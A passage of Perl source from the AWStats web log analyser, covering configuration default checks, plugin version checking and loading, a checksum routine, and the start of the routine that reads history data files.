if ( $ShowDaysOfWeekStats !~ /[01PHBL]/ ) { $ShowDaysOfWeekStats = 'PHBL'; }
if ( $ShowHoursStats !~ /[01PHBL]/ ) { $ShowHoursStats = 'PHBL'; }
if ( $ShowDomainsStats !~ /[01PHB]/ ) { $ShowDomainsStats = 'PHB'; }
if ( $ShowHostsStats !~ /[01PHBL]/ ) { $ShowHostsStats = 'PHBL'; }
if ( $ShowAuthenticatedUsers !~ /[01PHBL]/ ) {
$ShowAuthenticatedUsers = 0;
}
if ( $ShowRobotsStats !~ /[01HBL]/ ) { $ShowRobotsStats = 'HBL'; }
if ( $ShowWormsStats !~ /[01HBL]/ ) { $ShowWormsStats = 'HBL'; }
if ( $ShowEMailSenders !~ /[01HBML]/ ) { $ShowEMailSenders = 0; }
if ( $ShowEMailReceivers !~ /[01HBML]/ ) { $ShowEMailReceivers = 0; }
if ( $ShowSessionsStats !~ /[01]/ ) { $ShowSessionsStats = 1; }
if ( $ShowPagesStats !~ /[01PBEX]/i ) { $ShowPagesStats = 'PBEX'; }
if ( $ShowFileTypesStats !~ /[01HBC]/ ) { $ShowFileTypesStats = 'HB'; }
if ( $ShowDownloadsStats !~ /[01HB]/ ) { $ShowDownloadsStats = 'HB';}
if ( $ShowFileSizesStats !~ /[01]/ ) { $ShowFileSizesStats = 1; }
if ( $ShowOSStats !~ /[01]/ ) { $ShowOSStats = 1; }
if ( $ShowBrowsersStats !~ /[01]/ ) { $ShowBrowsersStats = 1; }
if ( $ShowScreenSizeStats !~ /[01]/ ) { $ShowScreenSizeStats = 0; }
if ( $ShowOriginStats !~ /[01PH]/ ) { $ShowOriginStats = 'PH'; }
if ( $ShowKeyphrasesStats !~ /[01]/ ) { $ShowKeyphrasesStats = 1; }
if ( $ShowKeywordsStats !~ /[01]/ ) { $ShowKeywordsStats = 1; }
if ( $ShowClusterStats !~ /[01PHB]/ ) { $ShowClusterStats = 0; }
if ( $ShowMiscStats !~ /[01anjdfrqwp]/ ) { $ShowMiscStats = 'a'; }
if ( $ShowHTTPErrorsStats !~ /[01]/ ) { $ShowHTTPErrorsStats = 1; }
if ( $ShowHTTPErrorsPageDetail !~ /[RH]/ ) { $ShowHTTPErrorsPageDetail = 'R'; }
if ( $ShowSMTPErrorsStats !~ /[01]/ ) { $ShowSMTPErrorsStats = 0; }
if ( $AddDataArrayMonthStats !~ /[01]/ ) { $AddDataArrayMonthStats = 1; }
if ( $AddDataArrayShowDaysOfMonthStats !~ /[01]/ ) {
$AddDataArrayShowDaysOfMonthStats = 1;
}
if ( $AddDataArrayShowDaysOfWeekStats !~ /[01]/ ) {
$AddDataArrayShowDaysOfWeekStats = 1;
}
if ( $AddDataArrayShowHoursStats !~ /[01]/ ) {
$AddDataArrayShowHoursStats = 1;
}
my @maxnboflist = (
'Domain', 'HostsShown',
'LoginShown', 'RobotShown',
'WormsShown', 'PageShown',
'OsShown', 'BrowsersShown',
'ScreenSizesShown', 'RefererShown',
'KeyphrasesShown', 'KeywordsShown',
'EMailsShown', 'DownloadsShown'
);
my @maxnboflistdefaultval =
( 10, 10, 10, 10, 5, 10, 10, 10, 5, 10, 10, 10, 20 );
foreach my $i ( 0 .. ( @maxnboflist - 1 ) ) {
if ( !$MaxNbOf{ $maxnboflist[$i] }
|| $MaxNbOf{ $maxnboflist[$i] } !~ /^\d+$/
|| $MaxNbOf{ $maxnboflist[$i] } < 1 )
{
$MaxNbOf{ $maxnboflist[$i] } = $maxnboflistdefaultval[$i];
}
}
my @minhitlist = (
'Domain', 'Host', 'Login', 'Robot',
'Worm', 'File', 'Os', 'Browser',
'ScreenSize', 'Refer', 'Keyphrase', 'Keyword',
'EMail', 'Downloads'
);
my @minhitlistdefaultval = ( 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 );
foreach my $i ( 0 .. ( @minhitlist - 1 ) ) {
if ( !$MinHit{ $minhitlist[$i] }
|| $MinHit{ $minhitlist[$i] } !~ /^\d+$/
|| $MinHit{ $minhitlist[$i] } < 1 )
{
$MinHit{ $minhitlist[$i] } = $minhitlistdefaultval[$i];
}
}
if ( $FirstDayOfWeek !~ /[01]/ ) { $FirstDayOfWeek = 1; }
if ( $UseFramesWhenCGI !~ /[01]/ ) { $UseFramesWhenCGI = 1; }
if ( $DetailedReportsOnNewWindows !~ /[012]/ ) {
$DetailedReportsOnNewWindows = 1;
}
if ( $ShowLinksOnUrl !~ /[01]/ ) { $ShowLinksOnUrl = 1; }
if ( $MaxLengthOfShownURL !~ /^\d+/ || $MaxLengthOfShownURL < 1 ) {
$MaxLengthOfShownURL = 64;
}
if ( $ShowLinksToWhoIs !~ /[01]/ ) { $ShowLinksToWhoIs = 0; }
$Logo ||= 'awstats_logo6.png';
$LogoLink ||= 'http://www.awstats.org';
if ( $BarWidth !~ /^\d+/ || $BarWidth < 1 ) { $BarWidth = 260; }
if ( $BarHeight !~ /^\d+/ || $BarHeight < 1 ) { $BarHeight = 90; }
$color_Background =~ s/#//g;
if ( $color_Background !~ /^[0-9|A-H]+$/i ) {
$color_Background = 'FFFFFF';
}
$color_TableBGTitle =~ s/#//g;
if ( $color_TableBGTitle !~ /^[0-9|A-H]+$/i ) {
$color_TableBGTitle = 'CCCCDD';
}
$color_TableTitle =~ s/#//g;
if ( $color_TableTitle !~ /^[0-9|A-H]+$/i ) {
$color_TableTitle = '000000';
}
$color_TableBG =~ s/#//g;
if ( $color_TableBG !~ /^[0-9|A-H]+$/i ) { $color_TableBG = 'CCCCDD'; }
$color_TableRowTitle =~ s/#//g;
if ( $color_TableRowTitle !~ /^[0-9|A-H]+$/i ) {
$color_TableRowTitle = 'FFFFFF';
}
$color_TableBGRowTitle =~ s/#//g;
if ( $color_TableBGRowTitle !~ /^[0-9|A-H]+$/i ) {
$color_TableBGRowTitle = 'ECECEC';
}
$color_TableBorder =~ s/#//g;
if ( $color_TableBorder !~ /^[0-9|A-H]+$/i ) {
$color_TableBorder = 'ECECEC';
}
$color_text =~ s/#//g;
if ( $color_text !~ /^[0-9|A-H]+$/i ) { $color_text = '000000'; }
$color_textpercent =~ s/#//g;
if ( $color_textpercent !~ /^[0-9|A-H]+$/i ) {
$color_textpercent = '606060';
}
$color_titletext =~ s/#//g;
if ( $color_titletext !~ /^[0-9|A-H]+$/i ) { $color_titletext = '000000'; }
$color_weekend =~ s/#//g;
if ( $color_weekend !~ /^[0-9|A-H]+$/i ) { $color_weekend = 'EAEAEA'; }
$color_link =~ s/#//g;
if ( $color_link !~ /^[0-9|A-H]+$/i ) { $color_link = '0011BB'; }
$color_hover =~ s/#//g;
if ( $color_hover !~ /^[0-9|A-H]+$/i ) { $color_hover = '605040'; }
$color_other =~ s/#//g;
if ( $color_other !~ /^[0-9|A-H]+$/i ) { $color_other = '666688'; }
$color_u =~ s/#//g;
if ( $color_u !~ /^[0-9|A-H]+$/i ) { $color_u = 'FFA060'; }
$color_v =~ s/#//g;
if ( $color_v !~ /^[0-9|A-H]+$/i ) { $color_v = 'F4F090'; }
$color_p =~ s/#//g;
if ( $color_p !~ /^[0-9|A-H]+$/i ) { $color_p = '4477DD'; }
$color_h =~ s/#//g;
if ( $color_h !~ /^[0-9|A-H]+$/i ) { $color_h = '66EEFF'; }
$color_k =~ s/#//g;
if ( $color_k !~ /^[0-9|A-H]+$/i ) { $color_k = '2EA495'; }
$color_s =~ s/#//g;
if ( $color_s !~ /^[0-9|A-H]+$/i ) { $color_s = '8888DD'; }
$color_e =~ s/#//g;
if ( $color_e !~ /^[0-9|A-H]+$/i ) { $color_e = 'CEC2E8'; }
$color_x =~ s/#//g;
if ( $color_x !~ /^[0-9|A-H]+$/i ) { $color_x = 'C1B2E2'; }
# Correct param if default value is asked
if ( $ShowSummary eq '1' ) { $ShowSummary = 'UVPHB'; }
if ( $ShowMonthStats eq '1' ) { $ShowMonthStats = 'UVPHB'; }
if ( $ShowDaysOfMonthStats eq '1' ) { $ShowDaysOfMonthStats = 'VPHB'; }
if ( $ShowDaysOfWeekStats eq '1' ) { $ShowDaysOfWeekStats = 'PHBL'; }
if ( $ShowHoursStats eq '1' ) { $ShowHoursStats = 'PHBL'; }
if ( $ShowDomainsStats eq '1' ) { $ShowDomainsStats = 'PHB'; }
if ( $ShowHostsStats eq '1' ) { $ShowHostsStats = 'PHBL'; }
if ( $ShowEMailSenders eq '1' ) { $ShowEMailSenders = 'HBML'; }
if ( $ShowEMailReceivers eq '1' ) { $ShowEMailReceivers = 'HBML'; }
if ( $ShowAuthenticatedUsers eq '1' ) { $ShowAuthenticatedUsers = 'PHBL'; }
if ( $ShowRobotsStats eq '1' ) { $ShowRobotsStats = 'HBL'; }
if ( $ShowWormsStats eq '1' ) { $ShowWormsStats = 'HBL'; }
if ( $ShowPagesStats eq '1' ) { $ShowPagesStats = 'PBEX'; }
if ( $ShowFileTypesStats eq '1' ) { $ShowFileTypesStats = 'HB'; }
if ( $ShowDownloadsStats eq '1' ) { $ShowDownloadsStats = 'HB';}
if ( $ShowOriginStats eq '1' ) { $ShowOriginStats = 'PH'; }
if ( $ShowClusterStats eq '1' ) { $ShowClusterStats = 'PHB'; }
if ( $ShowMiscStats eq '1' ) { $ShowMiscStats = 'anjdfrqwp'; }
# Convert extra sections data into @ExtraConditionType, @ExtraConditionTypeVal...
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
my $part = 0;
foreach my $conditioncouple (
split( /\s*\|\|\s*/, $ExtraCondition[$extranum] ) )
{
my ( $conditiontype, $conditiontypeval ) =
split( /[,:]/, $conditioncouple, 2 );
$ExtraConditionType[$extranum][$part] = $conditiontype;
if ( $conditiontypeval =~ /^REGEX\[(.*)\]$/i ) {
$conditiontypeval = $1;
}
#else { $conditiontypeval=quotemeta($conditiontypeval); }
$ExtraConditionTypeVal[$extranum][$part] = qr/$conditiontypeval/i;
$part++;
}
$part = 0;
foreach my $rowkeycouple (
split( /\s*\|\|\s*/, $ExtraFirstColumnValues[$extranum] ) )
{
my ( $rowkeytype, $rowkeytypeval ) =
split( /[,:]/, $rowkeycouple, 2 );
$ExtraFirstColumnValuesType[$extranum][$part] = $rowkeytype;
if ( $rowkeytypeval =~ /^REGEX\[(.*)\]$/i ) { $rowkeytypeval = $1; }
#else { $rowkeytypeval=quotemeta($rowkeytypeval); }
$ExtraFirstColumnValuesTypeVal[$extranum][$part] =
qr/$rowkeytypeval/i;
$part++;
}
}
# Show definitive value for major parameters
if ($Debug) {
debug( " LogFile='$LogFile'", 2 );
debug( " LogFormat='$LogFormat'", 2 );
debug( " LogSeparator='$LogSeparator'", 2 );
debug( " DNSLookup='$DNSLookup'", 2 );
debug( " DirData='$DirData'", 2 );
debug( " DirCgi='$DirCgi'", 2 );
debug( " DirIcons='$DirIcons'", 2 );
debug( " SiteDomain='$SiteDomain'", 2 );
debug( " MiscTrackerUrl='$MiscTrackerUrl'", 2 );
foreach ( keys %MaxNbOf ) { debug( " MaxNbOf{$_}=$MaxNbOf{$_}", 2 ); }
foreach ( keys %MinHit ) { debug( " MinHit{$_}=$MinHit{$_}", 2 ); }
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
debug(
" ExtraCodeFilter[$extranum] is array "
. join( ',', @{ $ExtraCodeFilter[$extranum] } ),
2
);
debug(
" ExtraConditionType[$extranum] is array "
. join( ',', @{ $ExtraConditionType[$extranum] } ),
2
);
debug(
" ExtraConditionTypeVal[$extranum] is array "
. join( ',', @{ $ExtraConditionTypeVal[$extranum] } ),
2
);
debug(
" ExtraFirstColumnFunction[$extranum] is array "
. join( ',', @{ $ExtraFirstColumnFunction[$extranum] } ),
2
);
debug(
" ExtraFirstColumnValuesType[$extranum] is array "
. join( ',', @{ $ExtraFirstColumnValuesType[$extranum] } ),
2
);
debug(
" ExtraFirstColumnValuesTypeVal[$extranum] is array "
. join( ',', @{ $ExtraFirstColumnValuesTypeVal[$extranum] } ),
2
);
}
}
# Deny URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters both set
if ( @URLWithQueryWithOnly && @URLWithQueryWithout ) {
error(
"URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters can't be both set at the same time"
);
}
# Deny $ShowHTTPErrorsStats and $ShowSMTPErrorsStats both set
if ( $ShowHTTPErrorsStats && $ShowSMTPErrorsStats ) {
error(
"ShowHTTPErrorsStats and ShowSMTPErrorsStats can't be both set at the same time"
);
}
# Deny LogFile if contains a pipe and PurgeLogFile || ArchiveLogRecords set on
if ( ( $PurgeLogFile || $ArchiveLogRecords ) && $LogFile =~ /\|\s*$/ ) {
error(
"A pipe in log file name is not allowed if PurgeLogFile and ArchiveLogRecords are not set to 0"
);
}
# If not a migrate, check if DirData is OK
if ( !$MigrateStats && !-d $DirData ) {
if ($CreateDirDataIfNotExists) {
if ($Debug) { debug( " Make directory $DirData", 2 ); }
my $mkdirok = mkdir "$DirData", 0766;
if ( !$mkdirok ) {
error(
"$PROG failed to create directory DirData (DirData=\"$DirData\", CreateDirDataIfNotExists=$CreateDirDataIfNotExists)."
);
}
}
else {
error(
"AWStats database directory defined in config file by 'DirData' parameter ($DirData) does not exist or is not writable."
);
}
}
if ( $LogType eq 'S' ) { $NOTSORTEDRECORDTOLERANCE = 1000000; }
}
#------------------------------------------------------------------------------
# Function: Common function used by init function of plugins
# Parameters: AWStats version required by plugin
# Input: $VERSION
# Output: None
# Return: '' if ok, "Error: xxx" if error
#------------------------------------------------------------------------------
sub Check_Plugin_Version {
my $PluginNeedAWStatsVersion = shift;
if ( !$PluginNeedAWStatsVersion ) { return 0; }
$VERSION =~ /^(\d+)\.(\d+)/;
my $numAWStatsVersion = ( $1 * 1000 ) + $2;
$PluginNeedAWStatsVersion =~ /^(\d+)\.(\d+)/;
my $numPluginNeedAWStatsVersion = ( $1 * 1000 ) + $2;
if ( $numPluginNeedAWStatsVersion > $numAWStatsVersion ) {
return
"Error: AWStats version $PluginNeedAWStatsVersion or higher is required. Detected $VERSION.";
}
return '';
}
#------------------------------------------------------------------------------
# Function: Return a checksum for an array of string
# Parameters: Array of string
# Input: None
# Output: None
# Return: Checksum number
#------------------------------------------------------------------------------
sub CheckSum {
my $string = shift;
my $checksum = 0;
# use MD5;
# $checksum = MD5->hexhash($string);
my $i = 0;
my $j = 0;
while ( $i < length($string) ) {
my $c = substr( $string, $i, 1 );
$checksum += ( ord($c) << ( 8 * $j ) );
if ( $j++ > 3 ) { $j = 0; }
$i++;
}
return $checksum;
}
#------------------------------------------------------------------------------
# Function: Load plugins files
# Parameters: None
# Input: $DIR @PluginsToLoad
# Output: None
# Return: None
#------------------------------------------------------------------------------
sub Read_Plugins {
# Check plugin files in common possible directories :
# Windows and standard package: "$DIR/plugins" (plugins in same dir than awstats.pl)
# Redhat : "/usr/local/awstats/wwwroot/cgi-bin/plugins"
# Debian package : "/usr/share/awstats/plugins"
my @PossiblePluginsDir = (
"$DIR/plugins",
"/usr/local/awstats/wwwroot/cgi-bin/plugins",
"/usr/share/awstats/plugins"
);
my %DirAddedInINC = ();
#Removed for security reason
#foreach my $key (keys %NoLoadPlugin) { if ($NoLoadPlugin{$key} < 0) { push @PluginsToLoad, $key; } }
if ($Debug) {
debug(
"Call to Read_Plugins with list: " . join( ',', @PluginsToLoad ) );
}
foreach my $plugininfo (@PluginsToLoad) {
my ( $pluginfile, $pluginparam ) = split( /\s+/, $plugininfo, 2 );
$pluginparam ||=
""; # If split has only on part, pluginparam is not initialized
$pluginfile =~ s/\.pm$//i;
$pluginfile =~ /([^\/\\]+)$/;
$pluginfile = Sanitize($1); # pluginfile is cleaned from any path for security reasons and from .pm
my $pluginname = $pluginfile;
if ( $NoLoadPlugin{$pluginname} && $NoLoadPlugin{$pluginname} > 0 ) {
if ($Debug) {
debug(
" Plugin load for '$pluginfile' has been disabled from parameters"
);
}
next;
}
if ($pluginname) {
if ( !$PluginsLoaded{'init'}{"$pluginname"} )
{ # Plugin not already loaded
my %pluginisfor = (
'timehires' => 'u',
'ipv6' => 'u',
'hashfiles' => 'u',
'geoipfree' => 'u',
'geoip' => 'ou',
'geoip6' => 'ou',
'geoip2_country' => 'ou',
'geoip_region_maxmind' => 'mou',
'geoip_city_maxmind' => 'mou',
'geoip2_city' => 'mou',
'geoip_isp_maxmind' => 'mou',
'geoip_org_maxmind' => 'mou',
'timezone' => 'ou',
'decodeutfkeys' => 'o',
'hostinfo' => 'o',
'rawlog' => 'o',
'userinfo' => 'o',
'urlalias' => 'o',
'tooltips' => 'o'
);
if ( $pluginisfor{$pluginname} )
{ # If it's a known plugin, may be we don't need to load it
# Do not load "menu handler plugins" if output only and mainleft frame
if ( !$UpdateStats
&& scalar keys %HTMLOutput
&& $FrameName eq 'mainleft'
&& $pluginisfor{$pluginname} !~ /m/ )
{
$PluginsLoaded{'init'}{"$pluginname"} = 1;
next;
}
# Do not load "update plugins" if output only
if ( !$UpdateStats
&& scalar keys %HTMLOutput
&& $pluginisfor{$pluginname} !~ /o/ )
{
$PluginsLoaded{'init'}{"$pluginname"} = 1;
next;
}
# Do not load "output plugins" if update only
if ( $UpdateStats
&& !scalar keys %HTMLOutput
&& $pluginisfor{$pluginname} !~ /u/ )
{
$PluginsLoaded{'init'}{"$pluginname"} = 1;
next;
}
}
# Load plugin
foreach my $dir (@PossiblePluginsDir) {
my $searchdir = $dir;
if ( $searchdir
&& ( !( $searchdir =~ /\/$/ ) )
&& ( !( $searchdir =~ /\\$/ ) ) )
{
$searchdir .= "/";
}
my $pluginpath = "${searchdir}${pluginfile}.pm";
if ( -s "$pluginpath" ) {
$PluginDir = "${searchdir}"; # Set plugin dir
if ($Debug) {
debug(
" Try to init plugin '$pluginname' ($pluginpath) with param '$pluginparam'",
1
);
}
if ( !$DirAddedInINC{"$dir"} ) {
push @INC, "$dir";
$DirAddedInINC{"$dir"} = 1;
}
my $loadret = 0;
my $modperl = $ENV{"MOD_PERL"}
? eval {
require mod_perl;
$mod_perl::VERSION >= 1.99 ? 2 : 1;
}
: 0;
if ( $modperl == 2 ) {
$loadret = require "$pluginpath";
}
else { $loadret = require "$pluginfile.pm"; }
if ( !$loadret || $loadret =~ /^error/i ) {
# Load failed, we stop here
error(
"Plugin load for plugin '$pluginname' failed with return code: $loadret"
);
}
my $ret; # To get init return
my $initfunction =
"\$ret=Init_$pluginname('$pluginparam')"; # Note that pluginname and pluginparam were sanitized when reading cong file entry 'LoadPlugin'
my $initret = eval("$initfunction");
if ( $initret && $initret eq 'xxx' ) {
$initret =
'Error: The PluginHooksFunctions variable defined in plugin file does not contain list of hooked functions';
}
if ( !$initret || $initret =~ /^error/i ) {
# Init function failed, we stop here
error(
"Plugin init for plugin '$pluginname' failed with return code: "
. (
$initret
? "$initret"
: "$@ (A module required by plugin might be missing)."
)
);
}
# Plugin load and init successful
foreach my $elem ( split( /\s+/, $initret ) ) {
# Some functions can only be plugged once
my @uniquefunc = (
'GetCountryCodeByName',
'GetCountryCodeByAddr',
'ChangeTime',
'GetTimeZoneTitle',
'GetTime',
'SearchFile',
'LoadCache',
'SaveHash',
'ShowMenu'
);
my $isuniquefunc = 0;
foreach my $function (@uniquefunc) {
if ( "$elem" eq "$function" ) {
# We try to load a 'unique' function, so we check and stop if already loaded
foreach my $otherpluginname (
keys %{ $PluginsLoaded{"$elem"} } )
{
error(
"Conflict between plugin '$pluginname' and '$otherpluginname'. They both implements the 'must be unique' function '$elem'.\nYou must choose between one of them. Using together is not possible."
);
}
$isuniquefunc = 1;
last;
}
}
if ($isuniquefunc) {
# TODO Use $PluginsLoaded{"$elem"}="$pluginname"; for unique func
$PluginsLoaded{"$elem"}{"$pluginname"} = 1;
}
else { $PluginsLoaded{"$elem"}{"$pluginname"} = 1; }
if ( "$elem" =~ /SectionInitHashArray/ ) {
$AtLeastOneSectionPlugin = 1;
}
}
$PluginsLoaded{'init'}{"$pluginname"} = 1;
if ($Debug) {
debug(
" Plugin '$pluginname' now hooks functions '$initret'",
1
);
}
last;
}
}
if ( !$PluginsLoaded{'init'}{"$pluginname"} ) {
error(
"AWStats config file contains a directive to load plugin \"$pluginname\" (LoadPlugin=\"$plugininfo\") but AWStats can't open plugin file \"$pluginfile.pm\" for read.\nCheck if file is in \""
. ( $PossiblePluginsDir[0] )
. "\" directory and is readable." );
}
}
else {
warning(
"Warning: Tried to load plugin \"$pluginname\" twice. Fix config file."
);
}
}
else {
error("Plugin \"$pluginfile\" is not a valid plugin name.");
}
}
# In output mode, geo ip plugins are not loaded, so message changes are done here (can't be done in plugin init function)
if ( $PluginsLoaded{'init'}{'geoip'}
|| $PluginsLoaded{'init'}{'geoip6'}
|| $PluginsLoaded{'init'}{'geoipfree'}
|| $PluginsLoaded{'init'}{'geoip2_country'})
{
$Message[17] = $Message[25] = $Message[148];
}
}
#------------------------------------------------------------------------------
# Function: Read history file and create or update tmp history file
# Parameters: year,month,day,hour,withupdate,withpurge,part_to_load[,lastlinenb,lastlineoffset,lastlinechecksum]
# Input: $DirData $PROG $FileSuffix $LastLine $DatabaseBreak
# Output: None
# Return: Tmp history file name created/updated or '' if withupdate is 0
#------------------------------------------------------------------------------
sub Read_History_With_TmpUpdate {
my $year = sprintf( "%04i", shift || 0 );
my $month = sprintf( "%02i", shift || 0 );
my $day = shift;
if ( $day ne '' ) { $day = sprintf( "%02i", $day ); }
my $hour = shift;
if ( $hour ne '' ) { $hour = sprintf( "%02i", $hour ); }
my $withupdate = shift || 0;
my $withpurge = shift || 0;
my $part = shift || '';
my ( $date, $filedate ) = ( '', '' );
if ( $DatabaseBreak eq 'month' ) {
$date = sprintf( "%04i%02i", $year, $month );
$filedate = sprintf( "%02i%04i", $month, $year );
}
elsif ( $DatabaseBreak eq 'year' ) {
$date = sprintf( "%04i%", $year );
$filedate = sprintf( "%04i", $year );
}
elsif ( $DatabaseBreak eq 'day' ) {
$date = sprintf( "%04i%02i%02i", $year, $month, $day );
$filedate = sprintf( "%02i%04i%02i", $month, $year, $day );
}
elsif ( $DatabaseBreak eq 'hour' ) {
$date = sprintf( "%04i%02i%02i%02i", $year, $month, $day, $hour );
$filedate = sprintf( "%02i%04i%02i%02i", $month, $year, $day, $hour );
}
my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 );
my $xmleb = '</table><nu>';
my $xmlrb = '<tr><td>';
my $lastlinenb = shift || 0;
my $lastlineoffset = shift || 0;
my $lastlinechecksum = shift || 0;
my %allsections = (
'general' => 1,
'misc' => 2,
'time' => 3,
'visitor' => 4,
'day' => 5,
'domain' => 6,
'cluster' => 7,
'login' => 8,
'robot' => 9,
'worms' => 10,
'emailsender' => 11,
'emailreceiver' => 12,
'session' => 13,
'sider' => 14,
'filetypes' => 15,
'downloads' => 16,
'os' => 17,
'browser' => 18,
'screensize' => 19,
'unknownreferer' => 20,
'unknownrefererbrowser' => 21,
'origin' => 22,
'sereferrals' => 23,
'pagerefs' => 24,
'searchwords' => 25,
'keywords' => 26,
'errors' => 27,
'filesize' => 28,
);
my $order = ( scalar keys %allsections ) + 1;
foreach ( keys %TrapInfosForHTTPErrorCodes ) {
$allsections{"sider_$_"} = $order++;
}
foreach ( 1 .. @ExtraName - 1 ) { $allsections{"extra_$_"} = $order++; }
foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
$allsections{"plugin_$_"} = $order++;
}
my $withread = 0;
# Variable used to read old format history files
my $readvisitorforbackward = 0;
if ($Debug) {
debug(
"Call to Read_History_With_TmpUpdate [$year,$month,$day,$hour,withupdate=$withupdate,withpurge=$withpurge,part=$part,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]"
);
}
if ($Debug) { debug("date=$date"); }
# Define SectionsToLoad (which sections to load)
my %SectionsToLoad = ();
if ( $part eq 'all' ) { # Load all needed sections
my $order = 1;
$SectionsToLoad{'general'} = $order++;
# When
$SectionsToLoad{'time'} = $order
++; # Always loaded because needed to count TotalPages, TotalHits, TotalBandwidth
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowHostsStats )
|| $HTMLOutput{'allhosts'}
|| $HTMLOutput{'lasthosts'}
|| $HTMLOutput{'unknownip'} )
{
$SectionsToLoad{'visitor'} = $order++;
} # Must be before day, sider and session section
if (
$UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'}
&& ( $ShowDaysOfWeekStats || $ShowDaysOfMonthStats ) )
|| $HTMLOutput{'alldays'}
)
{
$SectionsToLoad{'day'} = $order++;
}
# Who
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowDomainsStats )
|| $HTMLOutput{'alldomains'} )
{
$SectionsToLoad{'domain'} = $order++;
}
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowAuthenticatedUsers )
|| $HTMLOutput{'alllogins'}
|| $HTMLOutput{'lastlogins'} )
{
$SectionsToLoad{'login'} = $order++;
}
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowRobotsStats )
|| $HTMLOutput{'allrobots'}
|| $HTMLOutput{'lastrobots'} )
{
$SectionsToLoad{'robot'} = $order++;
}
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowWormsStats )
|| $HTMLOutput{'allworms'}
|| $HTMLOutput{'lastworms'} )
{
$SectionsToLoad{'worms'} = $order++;
}
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowEMailSenders )
|| $HTMLOutput{'allemails'}
|| $HTMLOutput{'lastemails'} )
{
$SectionsToLoad{'emailsender'} = $order++;
}
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowEMailReceivers )
|| $HTMLOutput{'allemailr'}
|| $HTMLOutput{'lastemailr'} )
{
$SectionsToLoad{'emailreceiver'} = $order++;
}
# Navigation
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowSessionsStats )
|| $HTMLOutput{'sessions'} )
{
$SectionsToLoad{'session'} = $order++;
}
if ( $UpdateStats
|| $MigrateStats
|| ($HTMLOutput{'main'} && $ShowFileSizesStats)
|| $HTMLOutput{'filesizes'} )
{
$SectionsToLoad{'filesize'} = $order++;
}
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowPagesStats )
|| $HTMLOutput{'urldetail'}
|| $HTMLOutput{'urlentry'}
|| $HTMLOutput{'urlexit'} )
{
$SectionsToLoad{'sider'} = $order++;
}
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowFileTypesStats )
|| $HTMLOutput{'filetypes'} )
{
$SectionsToLoad{'filetypes'} = $order++;
}
if ( $UpdateStats
|| $MigrateStats
|| ($HTMLOutput{'main'} && $ShowDownloadsStats )
|| $HTMLOutput{'downloads'} )
{
$SectionsToLoad{'downloads'} = $order++;
}
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowOSStats )
|| $HTMLOutput{'osdetail'} )
{
$SectionsToLoad{'os'} = $order++;
}
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowBrowsersStats )
|| $HTMLOutput{'browserdetail'} )
{
$SectionsToLoad{'browser'} = $order++;
}
if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownos'} ) {
$SectionsToLoad{'unknownreferer'} = $order++;
}
if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownbrowser'} ) {
$SectionsToLoad{'unknownrefererbrowser'} = $order++;
}
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowScreenSizeStats ) )
{
$SectionsToLoad{'screensize'} = $order++;
}
# Referers
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowOriginStats )
|| $HTMLOutput{'origin'} )
{
$SectionsToLoad{'origin'} = $order++;
}
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowOriginStats )
|| $HTMLOutput{'refererse'} )
{
$SectionsToLoad{'sereferrals'} = $order++;
}
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowOriginStats )
|| $HTMLOutput{'refererpages'} )
{
$SectionsToLoad{'pagerefs'} = $order++;
}
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowKeyphrasesStats )
|| $HTMLOutput{'keyphrases'}
|| $HTMLOutput{'keywords'} )
{
$SectionsToLoad{'searchwords'} = $order++;
}
if ( !$withupdate && $HTMLOutput{'main'} && $ShowKeywordsStats ) {
$SectionsToLoad{'keywords'} = $order++;
} # If we update, there is no need to load
# Others
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowMiscStats ) )
{
$SectionsToLoad{'misc'} = $order++;
}
if (
$UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'}
&& ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats ) )
|| $HTMLOutput{'errors'}
)
{
$SectionsToLoad{'errors'} = $order++;
}
foreach ( keys %TrapInfosForHTTPErrorCodes ) {
if ( $UpdateStats || $MigrateStats || $HTMLOutput{"errors$_"} ) {
$SectionsToLoad{"sider_$_"} = $order++;
}
}
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ShowClusterStats ) )
{
$SectionsToLoad{'cluster'} = $order++;
}
foreach ( 1 .. @ExtraName - 1 ) {
if ( $UpdateStats
|| $MigrateStats
|| ( $HTMLOutput{'main'} && $ExtraStatTypes[$_] )
|| $HTMLOutput{"allextra$_"} )
{
$SectionsToLoad{"extra_$_"} = $order++;
}
}
foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
